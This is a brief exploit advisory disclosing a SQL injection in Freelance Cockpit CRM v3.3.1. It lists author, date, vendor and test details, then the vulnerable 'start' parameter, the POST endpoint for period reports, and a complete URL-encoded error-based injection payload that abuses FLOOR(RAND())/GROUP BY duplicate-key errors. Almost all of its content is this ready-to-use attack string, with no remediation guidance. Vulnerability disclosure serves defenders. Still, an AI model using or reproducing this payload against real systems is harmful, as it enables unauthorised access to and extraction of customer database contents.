Freelance Cockpit CRM 3.3.1 SQL Injection

`===========================================================================================  
# Exploit Title: Freelance Cockpit CRM - SQL Inj.  
# Dork: N/A  
# Date: 17-05-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://www.freelancecockpit.com/  
# Software Link: https://www.freelancecockpit.com/  
# Version: v3.3.1  
# Category: Webapps  
# Tested on: Wamp64, Windows  
# CVE: N/A  
===========================================================================================  
# POC - SQLi  
# Parameters : start  
# Attack Pattern :  
-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27  
# POST Method : http://localhost/FCApplication/reports/period  
===========================================================================================  
`